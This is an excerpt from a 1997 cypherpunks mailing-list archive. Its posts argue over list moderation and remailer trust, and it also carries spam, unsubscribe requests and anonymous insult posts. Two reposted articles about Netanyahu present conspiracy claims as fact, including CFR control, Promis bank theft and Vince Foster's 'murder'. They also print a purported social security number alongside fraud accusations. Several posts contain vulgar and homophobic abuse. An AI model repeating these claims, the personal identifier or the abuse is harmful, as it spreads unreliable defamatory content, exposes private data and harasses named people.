"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Fri, 7 Feb 1997 07:11:59 -0800 (PST)
To: Cypherpunks <tcmay@got.net
Subject: Re: anonymous remailers
Message-ID: <199702071511.HAA24873@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[I am sending a copy of my article to Tim just to make sure]

Sandy Sandfort wrote:
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>                           SANDY SANDFORT
>  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
> 
> C'punks,
> 
> On Thu, 6 Feb 1997, Timothy C. May wrote:
> 
> > Why was this message (attached below) sent to the "Flames" list? (*) It
> > contains an assertion that the remailer operators are colluding to reveal
> > identities, and this is surely a fit topic for discussion.
> > 
> > (* I have temporarily subscribed to the Flames list to see just what it is
> > being filtered or censored by Sandy. I received this message, and it had
> > the header "Sender: owner-cypherpunks-unedited@toad.com," thus I surmise it
> > is a "Flames" message. It would help, by the way, if messages were more
> > clearly labelled by the Moderator as to which bucket he placed them in.)
> 
> Currently, there are three lists.  It looks as though the message
> in question appeared on the Unedited list.  This is NOT the same
> as the Flames list.  
>  
> I don't recall where I sorted that particular post to after I
> read it on the Unedited list.  If it went to the "wrong" list,
> my apologies to the author.  As I indicated before, I don't think

I am attaching Vulis's posting below, so that the mistake could be
corrected.

Judging by the dates in the headers, it went to flames list in
3 seconds after arrival to toad.com.

That makes me think that somehow it got routed there without human
involvement.

> a 100% solution is possible, but I think I'm running in the high
> 90s under the criteria I enunciated.  Not perfection, but a 
> definite improvement over the prior condition.

I see three problems with the current state of the list: 

	1) There is no charter and no criteria that I am aware of, so 
	   your 90% statement is meaningless
	2) Moderation policy has not been set (or voted upon) by the readers,
	   therefore it was not optimised to serve the readers
	3) Crypto-relevant posts, not containing any flames, get
	   rejected.

>From cypherpunks-errors@toad.com  Thu Feb  6 22:20:35 1997
Return-Path: <cypherpunks-errors@toad.com>
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	for cypherpunks@toad.com
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <iJkq2D46w165w@bwalk.dm.com>
Date: Thu, 06 Feb 97 22:22:05 EST
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk
Status: RO

c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Thu, 6 Feb 1997 23:10:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: remailer-operators DEA agents?
Message-ID: <199702070710.XAA13629@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> c.musselman@internetmci.com (Charley Musselman) writes:
> > C'punks --
> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
> > and suggested that he use an anonymous remailer to post to the group,
> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> > anyone know the answer?  Specifically, how can we choose a trusted
> > remailer?
>
> Even if the feds are not directtly involved, the so-called "cypher punk"
> remailers are run by people who should not be trusted.  Check out their
> remailer-operators list: it's full of announcements that some specific
> person posted something via the remailer that the operator didn't like.

Examples, please?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 7 Feb 1997 07:13:38 -0800 (PST)
Subject: The Konformist: The Chamish Files - Bibi Part One
Message-ID: <199702071513.HAA24905@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj: ARTICLE: Netanyahu-Part One

Date: 97-01-31 13:06:05 EST

From: chamish@netmedia.net.il (Chamish Barry)



>WHO IS BINYAMIN NETANYAHU? (Part One Of Two)

>

>By; Barry Chamish*

>

>Two Fridays after Israel's new Prime Minister was elected, the

>newspapers were filled with bios of the new leader. The most indepth

>research was undertaken by Orly Azula-Katz, Anat Meidan and Rami Tal of

>Yediot Ahronot who produced a balanced portrait and Biranit Goren of

>Kol Ha'ir whose story was a snow job.

>

>Nonetheless, both reports agreed in most details, if not

>interpretations. These two reports, combined with other public

>knowledge create a most disturbing and mysterious caricature of

>Israel's leader for students of secret diplomacy.

>

>The Conventional Story

>

>The prevailing myth about Prime Minister Binyamin Netanyahu is that he

>grew up in a highly politicized, right wing household. Responsibility

>for the presumption lies with his father Bar Tzion, a dedicated

>revisionist who was a pallbearer at the funeral of Zeev Jabotinsky.

>

>The facts are different. Netanyahu recalls," My father did not want me

>to enter politics. We were very non-political." The founding families

>of Zionism's revisionist wing which produced two generations of leaders

>like Menachem and Benny Begin and Yaacov and Dan Meridor, barely knew

>of the Netanyahus.

>

>What Binyamin inherited from his father was an obsession with learning.

>His grades in junior high were all above average but he excelled in

>only one subject: music.

>

>When Binyamin moved to America at age fourteen after his father

>accepted a teaching post in Philadelphia, his hero became JFK.

>Netanyahu felt very alienated being away from Israel and took waitering

>jobs to earn the money to spend his summers back home. There his

>greatest pleasure was working on left-wing kibbutzim with his pals from

>Jerusalem. They recall that he would always try to outwork them, even

>when he had an injured knee.

>

>Returning to high school in Philadelphia, Netanyahu shared close

>friendship with only those students as imbued with love for Israel as

>he was. He was a straight A student who graduated fourth in his class

>at Cheltenham High School, one of the most academically competitive

>schools in America. But he didn't attend his graduation ceremony. War

>broke out on June 5, 1967, and Netanyahu flew to Israel to volunteer

>for the army.

>

>A high school buddy, Ari Bintener recalls,"No one was surprised. It was

>obvious his place was in Israel. I was pleased that he found a way to

>help his country."

>

>Bob Trimble, Netanyahu's soccer coach remembers,"Bibi was the best

>player on the team, except for his brother Yoni who could have played

>professionally if he had wanted to. The only problem with Ben was that

>his political views were so far to the left of the other players."

>

>As a soldier, Binyamin rose to the rank of captain in the most secret

>combat unit of all, the fighting arm of military intelligence. He took

>part in a good number of legendary operations and was wounded while

>fighting highjackers holding a Sabena passenger plane. On the Suez, he

>almost drowned trying to swim with his heavy automatic rifle under

>Egyptian fire. He became known as "the lousy swimmer from Jerusalem."

>

>Soldiers recall him as a cool but "square" officer who lost his temper

>only once. That was when he found his men had been taking "souvenirs"

>from operations in Lebanon. He put a quick end to what he viewed as

>looting.

>

>After five years of soldiering Netanyahu returned to America to study

>architecture at either Harvard or MIT. He chose the latter because it

>permitted him to begin an MA course load, as his academic advisor Prof

>Leon Garviser remembers. "I told him that no one could handle the load

>but he insisted that he had to make up for time lost while serving his

>country. I agreed to add one extra course in the first semester and

>when he passed all his courses I added another one. In the end he

>finished his MA in two and a half years. Don't ask me how. No one did

>it before him or since."

>

>Once again, Netanyahu interrupted his studies only once. In October of

>1973, war broke out in Israel and he flew back to fight in the Sinai.

>When he returned, he became a student activist on behalf of Israel, a

>fact that was noted by the Israeli consul of Boston, Collette Avital.

>In one of the many ironies in his life, it was Avital, the dovish

>consul of New York during the Rabin/Peres administration who arranged

>Netanyahu's first television appearance, a debate with PLO activist

>Prof Edward Said.

>

>The loss of his brother Yoni during the Entebbe raid put a stop to

>Binyamin's plans to become an architect. Instead he settled for an MA

>in business administration and took a post at the Boston Consulting

>Group. His boss was Ira Magaziner, the man who later was the

>intellectual force behind the Clinton administration's failed health

>reform package.

>

>As Moshe Arens notes, "Bibi is only the second prime minister who ever

>had a real job outside the army or politics. Shamir was the first. He

>once worked as an accountant in a glue factory."

>

>While working at Boston Consulting, Binyamin received his first

>diplomatic assignment: he was sent to Sweden to advise the government

>on efficient administration of public companies.

>

>Already earning $100,000 and with a splendid career before him,

>Netanyahu decided to give it all up and return to Israel to act as the

>marketing manager of a furniture concern. As his colleague Barbara

>Maclogan notes,"Anyone who claims Bibi planned to live in America

>doesn't know what he's talking about. He gave up the opportunity of his

>life in Boston to earn a quarter of his salary in Israel."

>

>In 1979, Netanyahu organized an anti-terrorism conference in Jerusalem,

>dedicated to his fallen brother. Somehow, he managed to attract the

>likes of George Bush, George Shultz, and Richard Perle (President's

>Reagan's chief arms negotiator) to the meeting and was thrust briefly

>onto the world stage. But when the conference ended, it was back to

>work at the furniture factory.

>

>That all changed in 1982, when Israel's Washington Ambassador Moshe

>Arens invited Netanyahu to be his deputy. This unprecedented career

>rise has been a subject of much speculation. Many people have noted

>that Bar Tzion Netanyahu was one of the few guests invited to Arens'

>wedding and he was repaying an old friend. But Arens has a different

>explanation. "People got a good laugh when they heard I phoned a

>furniture factory to find a deputy. What sold me on Bibi was his

>organization of the anti-terror conference and the strong impression he

>made on American leaders who participated."

>

>In 1984, after two visibly successful years as Arens' deputy, Bibi was

>named Israel's ambassador to the UN. In another of those ironies that

>follow him, he was appointed to the post by Shimon Peres against the

>objections of Yitzhak Shamir. Once again, it was a leader of the Labour

>Party who promoted his early career.

>

>This was the true turning point in his quest to become prime minister.

>Netanyahu's good looks, fluent English and controversial opinions made

>him a media star. He became a frequent presence on Ted Koppel's

>Nightline and Larry King Live. As King observes,"Whenever he appeared,

>the phones wouldn't stop ringing. He especially made an impression on

>women viewers. As a guest I'd rate him 8. If he had a sense of humor to

>go with everything else, he'd have been a 10."

>

>During this period, Netanyahu wrote his book, Terror-How The West Can

>Win. The book made a tremendous impression on the Reagan

>administration. In fact, whenever George Bush visited New York, and

>that was often, he would call on Netanyahu.

>

>By 1988, Netanyahu had made powerful allies in the American media. He

>received strong support from Charles Krauthammer of the Washington

>Post, Abe Rosenthal of the New York Times, and Ellie Weymouth, daughter

>of Katherine Graham, the publisher of Newsweek. When he returned to

>Israel, he was too powerful a figure to be ignored and was appointed,

>first Deputy Foreign Minister and later the Prime Minister's spokesman.

>In this capacity, CNN made Netanyahu an international media star during

>the Persian Gulf War.

>

>Netanyahu was ready to challenge the Old Guard of the Likud. The

>combination of youth, determination and powerful allies abroad led to a

>resounding victory in the Likud primaries of 1993 and in the general

>elections of 1996.

>--------------------------------------------

>Sent by Barry Chamish - Israeli journalist.

>Phone/Fax : (972)-2-9914936

>E-Mail    : chamish@netmedia.net.il

>--------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 7 Feb 1997 07:13:39 -0800 (PST)
Subject: The Konformist: The Chamish Files - Bibi Part Two
Message-ID: <199702071513.HAA24906@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Subj: ESSAY: [2/2] Natanyahu

Date: 97-01-31 12:51:08 EST

From: chamish@netmedia.net.il (Chamish Barry)



>From: Chamish Barry <chamish@netmedia.net.il>

>

>The Secret Life Of Binyamin Netanyahu

>

>Even within the conventional story, it is clear that Netanyahu was

>groomed for leadership by the Council On Foreign Relations (CFR) in New

>York. In 1979, twenty-seven year old Netanyahu called a conference on

>terrorism and the ruling elite of the CFR, Bush, Shultz and Perle

>answered to his summons. One word will suffice: why?

>

>Yoni Netanyahu was undoubtedly a martyr but far from the only one in

>Israel. He was not such a powerful symbol that the CFR would send a

>delegation of its biggest guns, including CIA director Bush to his

>unknown brother's get-together.

>

>Netanyahu's decision to quit his lucrative Boston job is almost

>inexplcable. Netanyahu sought a highpaying job at a prestigious

>consulting firm yet not two months later, he gave it up to fly back to

>Israel and sell sofas. He was barely settled in back home when he

>decided to organize an anti-terrorism conference and invite the most

>powerful people in Washington to attend.

>

>It is possible that Netanyahu was told to quit his job, return to

>Israel and arrange the conference. Perhaps there is a connection to the

>fact that a year later Shultz later made fighting terrorism a first

>priority of the Reagan administration and that Vice-President Bush was

>appointed to head a front for illegal covert activities called The

>Anti-Terror Task Force.

>

>Arens' offer of a deputy ambassadorship to salesman Netanyahu

>made no political sense. Israeli diplomatic aides and deputies

>typically rise slowly through the Foreign Ministry bureaucracy. They

>are not thrust into the second highest position at the most vital

>embassy in the world. It is far from impossible that Arens was

>directed to bring in Netanyahu by the very people in the Reagan

>administration who attended his conference three years earlier.

>

>Once in New York in 1984, CFR-affiliated media such as CNN, the New

>York Times, Washington Post, Newsweek and CFR members Koppel and King

>turned Netanyahu into a major political figure; so much so that George

>Shultz became a close friend. We again ask the succinct question: why?

>What did Shultz, twenty years Netanyahu's senior, find so amusing about

>the Israeli UN Ambassador that he had to pay him a courtesy call every

>time he flew to New York? In 1985, Shultz chaired another Netanyahu-

>organized conference on terrorism, this time in Washington. The

>resulting publicity and prestige was a significant factor in

>Netanyahu's fast-rising political career. Clearly, the secretary-of-

>state had a major stake in Netanyahu's future. Which means, so did

>George Bush.

>

>All that can be concluded from the conventional story. What then do we

>make of Bibi's secret life?

>

>In 1987, Netanyahu applied for credit using his American social

>security number 020364537. With that number, he or someone else made

>the application under a phony name, John Sullivan, living at a false

>address in Northern California.

>

>Netanyahu used Sullivan's name to borrow money during 1987-88. John

>Sullivan does not exist, nor does Netanyahu's credit file. Israeli and

>American reporters who tried to dig into Netanyahu's past using his

>social security number discovered two other phony names used to apply

>for credit in 1987-88 but were perplexed to find that his credit

>records were completely removed. Only someone very high up in the

>American government could have authorized the erasing of the file.

>

>We return to the all-purpose question: why? Again, no one who knows is

>talking. What is nearly certain is that while Netanyahu was the UN

>Ambassador, he was either defrauding a credit company or on an

>assignment involving money that required three identity changes.

>

>Then there is Netanyahu's close relationship with Congressman Ben

>Gillman, head of the House Committee On International Relations. The

>problem here is that Gillman was also a close associate of Shabtai

>Kalmonovitch and shared business deals with him in Africa. Kalmonovitch

>was, not long after, imprisoned in Israel as a KGB spy. This is not to

>imply that Netanyahu was involved in spying, only that his closest ally

>in Congress has mighty strange intelligence ties to Israel.

>

>And what to make of the mystery of Netanyahu's housing?. Before he was

>even the leader of the Likud, two foreign businessmen, Jack Mandel of

>Australia and Sandy Eisenstadt of the US each paid about $750,000 to

>buy Netanyahu luxury apartments in Tel Aviv and Jerusalem. Again, no

>one has a clue why. There is speculation that part of the reason may be

>Eisenstadt's stake in an Israeli oil exploration company, a shady and

>hidden business, but no concrete connection has been discovered by the

>Israeli media.

>

>Netanyahu's penchant for secrecy is not subtle. It is well-known among

>the Israeli media that he had conducted a number of secret meetings

>with the Jordanian royal family in London and Amman before he became

>prime minister. Even the conventional Jerusalem Post reported in mid-

>June that six secret meetings were held in the past two years. But when

>Inside Israel just before the elections asked Netanyahu to comment on

>the meetings, he denied they had ever taken place.

>

>Perhaps the most secret and worrying ties concern what is supposedly a

>high-tech services company. Yediot Ahronot relates how Netanyahu wooed

>a local Likud leader. "He was invited by Netanyahu to a meeting in his

>office at Systematics in Ramat Gan. The head of the company, Oded

>Levental is a candidate for a financial post in the new government."

>

>Systematics is at the core of serious research by American alternative

>publications, including the usually reliable Media Bypass. In short,

>the allegations are that the National Security Agency had handed

>Systematics stolen software called Promis that opened a trap door to

>the world's secret banking transactions. About 250 Americans, mostly

>politicians, had their illegal foreign accounts emptied of over $3.5

>billion in the operation. It is claimed that Colin Powell dropped out

>of the presidential race after his account electronically vanished.

>Leading figures in the operation included George Bush, Caspar

>Weinberger and two Arkansas attorneys, Vince Foster Jr. and Hillary

>Rodham Clinton on behalf of Clinton financier Jackson Stephens. The

>research invariably concludes that Foster was murdered because he knew

>too much about the scam.

>

>A leading investigative writer, Sherman Skolnick, writes:

>

>"Some contend Systematics is an NSA proprietary and spies on banks

>overseas. Can Systematics rightfully deny spying actually done by

>buffers or cut-outs between Systematics and NSA? Systematics, through a

>spokesperson, vigorously denies Foster assisted it in any spying on

>foreign banks but remains apparently silent on whether Hillary Rodham

>Clinton assisted Systematics in some nefarious activities."

>

>Is it fair to ask why Systematics provided Netanyahu office space and

>if this was the sum total of its involvement with him?

>

>Since taking office, Netanyahu has fueled fears of international

>control by his actions within Israel's tiny anti-NWO community. They

>were most intrigued by his refusal to give Ariel Sharon a sensitive

>cabinet post. One possible reason is fear of Sharon's own intelligence

>arm in the US. Then for those people who fervently hoped that he would

>rid himself of any connections to the Arye Deri scandal, with all its

>implications of money laundering and perhaps murder, Netanyahu

>appointed as his Justice Minister, Yaacov Neeman, a lawyer who is

>currently being investigated for intimidating a key witness against

>Deri in a London trial.

>

>But the topper was Netanyahu's decision to allow Yaacov Frenkel to run

>the country's economy single-handedly. Frenkel worked for the World

>Bank between 1971-1990. After nineteen years away from "home" Frenkel

>was unexplainedly appointed head of the Bank of Israel.

>

>His policies mirrored the world-wide debt program of his previous

>employer documented by numerous researchers. The plan involves raising

>interest rates beyond what the public or industry can afford, and

>forcing the government to borrow lots of money from American banks to

>keep the populace pacified. When the debts have to be repaid from an

>empty treasury, the International Monetary Fund bails out the country

>with schemes guaranteed to impoverish the people.

>

>Frenkel was a proponent of Israel borrowing $10 billion in loans

>guaranteed by the American government and he kept his interest rates as

>high as he could in the face of opposition from then-Finance Minister

>Avraham Shohat who suspected Frenkel, "was playing politics with the

>Bank of Israel."

>

>Binyamin Netanyahu, the man who Inside Israel hoped would save Israel

>from the NWO puppet regime of Peres, appointed Yaacov Frenkel to be his

>Minister of Finance. The only thing that prevented the disaster was

>party opposition to an appointee who had never publicly supported the

>Likud.

>

>Dan Meridor got the post instead. But as the Maariv headline read:

>"Meridor Will Act, Frenkel Will Lead." On his first day in office

>Meridor announced that his policy would be to lower the standard of

>living in Israel. Not a week later, Frenkel raised the interest rates

>by a whopping 1.5% with Meridor's "approval."

>

>Something is going on behind the scenes at the CFR. While Secretary of

>State Warren Christopher must appear to be opposing Likud government

>policies to keep the Arabs in line, the former CFR director is playing

>some kind of double game with Netanyahu.

>

>King Hussein made his accommodation with Netanyahu well before the

>elections and refused to support Peres during the campaign. Netanyahu's

>victory clearly delighted him and on the surface, why not? The last

>thing he would want is a PLO state on his border with control of the

>Moslem holy sites. In time, it will become clearer what Netanyahu

>promised the King during the secret London meetings. Included, most

>assuredly, will be Jordanian hegemony over the Temple Mount.

>

>There has been a transformation in Israel but the CFR is still running

>the latest prime minister. And that is a good reason for intense fear

>about Israel's future.

>----------

>Barry Chamish is the editor of Inside Israel, an investigative report

>on Israeli affairs. For a free sample copy and subscription

>information, write:

>

>INSIDE ISRAEL

>POB 579

>Swindon, Wiltshire

>ENGLAND  SN4 OTA

>Fax: 44-793-790722

>EMAIL:merkava@tcp.co.uk

>--------------------------------------------

>Sent by Barry Chamish - Israeli journalist.

>Phone/Fax : (972)-2-9914936

>E-Mail    : chamish@netmedia.net.il

>--------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: WinSock Remailer <winsock@rigel.cyberpass.net>
Date: Fri, 7 Feb 1997 07:11:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sphere packings
Message-ID: <199702071511.HAA24791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Dickhead Vermin K[ondom]OTM has been a source of endless
embarassments to his sympathizers on and off the net.

       _  O     O  _
        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
         /^\   /^\
        ^^ ^^ ^^ ^^







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 8 Feb 1997 07:56:00 -0800 (PST)
To: steve <steve@idoru.demon.co.uk>
Subject: Re: unimbibing
Message-ID: <199702081556.HAA20008@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
> Get me off this list now.!
> I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

I participate in this list to discuss cryptography and related 
issues. If you have been reading posts discussing large genitalia you 
are probably confusing list traffic with private email from your gay 
friends.

Here are instructions telling you how to unsubscribe:


To unsubscribe from the cypherpunks mailing list:

Send a message to majordomo@toad.com with the *MESSAGE BODY* reading
exactly as follows:

unsubscribe cypherpunks you@your.domain.com


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: guyh@att.net.hk
Date: Thu, 6 Feb 1997 19:40:49 -0800 (PST)
Subject: M-Net Express
Message-ID: <199702070340.TAA07854@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


WELCOME TO M-NET'S CUT-PRICE TELEPHONE SERVICE

We supply worldwide the SAME lines and services that one can buy
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a BLANK message.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 12:00:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Zero-knowledge interactive proofs
Message-ID: <199702072000.MAA29593@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Many forgeries are traceable with mathematical 
certainty to feebleminded Timmy C. May's poison 
keyboard.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/----
               (   ) (   )
               oooO   Oooo






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Otto Matic <ott0matic@hotmail.com>
Date: Fri, 7 Feb 1997 12:02:16 -0800 (PST)
To: lwjohnson@grill.sk.ca
Subject: Cool Names, Lost in Flames
Message-ID: <199702072002.MAA29642@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Some time ago Human Gus-Peter wrote something that went like this:

> I still think that you should just let your kids run your machine or
> just pick the guy with the coolest name, like Attila the Hun or 
> Genocide or OttOmatic.

Thanks, Human Gus-peter.  I think my name is cool also.  

I am only suscribeed to the flames list, because my uncle (a secret guy) reads
the CENSORED list.  This way we can see what the other secret guys are up to,
and what kind of KewL StUfF they throw into the Flames Trashcan.

Human Gus-peter, I think you should be very careful.  They throw 
everything you write into the trash.  That could mean they are watching you. 
That could be VERY bad for you.  We will see where this message goes.

otto
=-=-=-=-=-
Otto Matic

"Fuckin' A, Miller!"  Bud, Repo Man


---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gr8SClaus@aol.com
Date: Fri, 7 Feb 1997 12:11:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello, Duncan
Message-ID: <199702072011.MAA29725@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw your listing for accessing senior citizens newsgroups through
compuserve.
Do you think, by chance, that the same would be possible through america
online?
I'm a senior citizen of 59 but find myself liking middle age to older and
find the only source on line (that i can locate as am anateur) is netpics.com
and you have to pay for this service.  But I do enjoy looking at older GUYS
and find mostly girls--even on netpics.

Thanks.
Dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Quantum Communications <sales@quantumcom.net>
Date: Fri, 7 Feb 1997 16:56:50 -0800 (PST)
To: "cwozniak@aol.com>
Subject: Customers For You!!!
Message-ID: <199702080056.QAA05200@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: huilam <huilam@pl.jaring.my>
Date: Fri, 7 Feb 1997 07:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702071510.HAA24733@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How to get off this mail-listing ??

Regards,
Hui Lam
Email:huilam@pl.jaring.my  
Homepage:<http://www.geocities.com/heartland/8642/>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: linda wilson <inc@jps.net>
Date: Fri, 7 Feb 1997 11:40:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Appointment Verification
Message-ID: <199702071940.LAA29202@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Suck_My_Big_Juicy_Cock,



We would like to ask for your help with a survey for a service bureau we are
considering developing software for in voice communications.

This software will be used to remind patients of their upcoming
appointments, allow them to confirm or reschedule. After confirming
which patients will not be able to make their appointment the system will
contact all individuals that are on a waiting list to schedule them for open 
time slots.....

For assisting us we will mail you a FREE certificate for 100 rolls of Kodak film 
and a 35 mm camera. NO ONE WIll CALL YOU!

1. Do you feel doctors would use a service which calls patients 
for them using a personalized Voice system reminding them of 
their appointments? 

____yes   ____NO


2. How important do you feel it is to doctors to eliminate the drudgery of
staff calling patients reminding them of appointments.

not important		______
somewhat important	______
Very important		______

3. What's do you feel would be a fair price or doctors would be willing to pay for such a service?

100-$200 per month	_____
200-$300 per month	_____
300- $400 per month	_____

Other		____________

Please email your answers to advance@ns.net

If you have any suggestions on any additional automated voice service you would like to see
someone develop please let us know. Thanks again for your participation.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 7 Feb 1997 11:41:13 -0800 (PST)
To: "Timothy C. May" <sandfort@crl.com>
Subject: censorship and headers/example of ascii art which passed filters
Message-ID: <199702071941.LAA29267@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

    the "message" example which follows is obviously a message which 
    should have been destinated for owner-cypherpunks-flame.  there is 
    absolutely no indication of the differentation and the header shows:

        Sender: owner-cypherpunks@toad.com

    when it should have shown:

        Sender: owner-cypherpunks-edited@toad.com

    let's put it this way, if cp is to be censored, might as well do the 
    job correctly as this message was dumped into the main list.  

    regardless, censoring what is supposed to be the free speech 
    defenders of the online world is a poor example of our toleration 
    for differing viewpoints, regardless of their alledged stupidity or 
    off-topic value, or lack of value.  So far, cypherpunks is showing 
    less tolerance for freedom of speech that the United State Supreme 
    Court. You all know something I dont?  or do I need to start 
    cleaning and oiling real soon?

    --attila

+Received: from toad.com (toad.com [140.174.2.1])
+	by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780
+	for <attila@primenet.com>; Fri, 7 Feb 1997 05:23:55 -0700 (MST)
+Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id
+EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from
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+toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997
+04:19:47 -0800 (PST) Received: from mail.infonex.net
+(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com
+(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks@toad.com; Fri, 7
+Feb 1997 04:19:33 -0800 (PST) Message-Id:
+<199702071219.EAA26850@sirius.infonex.com> Date: Friday, 07 Feb 97
+07:19:25 EST
+To: cypherpunks@toad.com
+From: winsock@rigel.cyberpass.net (WinSock Remailer)
+X-Mailer: WinSock Remailer Version ALPHA1.3
+X-Comments: -
+X-Comments: This message is NOT from winsock@rigel.cyberpass.net.  It
+was  X-Comments: remailed by an automated anonymous remailer.
+X-Comments: -
+X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO:
+X-Comments:    REOP-L@cornell.edu <Remailer Operator's Network>
+X-Comments: -
+X-Comments:     WinSock Remailer (winsock@rigel.cyberpass.net)
+X-Comments:           http://www.cyberpass.net/~winsock/ X-Comments: -
+X-Remailer-Setup: Maximum Message Size -- None
+X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3
+X-Remailer-Setup: News Posting DISABLED
+X-Remailer-Setup: Subject Header KILLED
+X-Remailer-Setup: Logging OFF
+X-Remailer-Setup: All messages must be PGP encrypted
+Subject: Re: Sphere packings
+Sender: owner-cypherpunks@toad.com
+Precedence: bulk
+X-UIDL: e2bae6a70f8b97f156939d711ba124ba

+Dickhead Vermin K[ondom]OTM has been a source of endless
+embarassments to his sympathizers on and off the net.
+       _  O     O  _
+        \-|-\_/-|-/  Dickhead Vermin K[ondom]OTM
+         /^\   /^\
+        ^^ ^^ ^^ ^^

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvtzDL04kQrCC2kFAQF8UwQAi2uqgh2IX8zy9BgXmuBK5hI0yza9XeJ1
+o/aa6KXnKA5+aBuFF5VFufijsJgMQ+2TI+OVi1oPy9OpWofZ1mHzzzNDndypfv6
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3TIkjAlpcrk=
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: My Account <foolswisdom@juno.com>
Date: Fri, 7 Feb 1997 16:59:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702080059.QAA05303@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                 
!!!!!!!!!!!!!!!!IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII               
TTTTTTTTTTTTTTTTTTTTTT                  !!!!!!!!!!!!!!!!        
IIIIIIIIIIIIIII                                            TTTTTTTT      
                            !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII     
                                      TTTTTTTT                           
       !!!!!!!!!!!!!!!!         IIIIIIIIIIIIIII                          
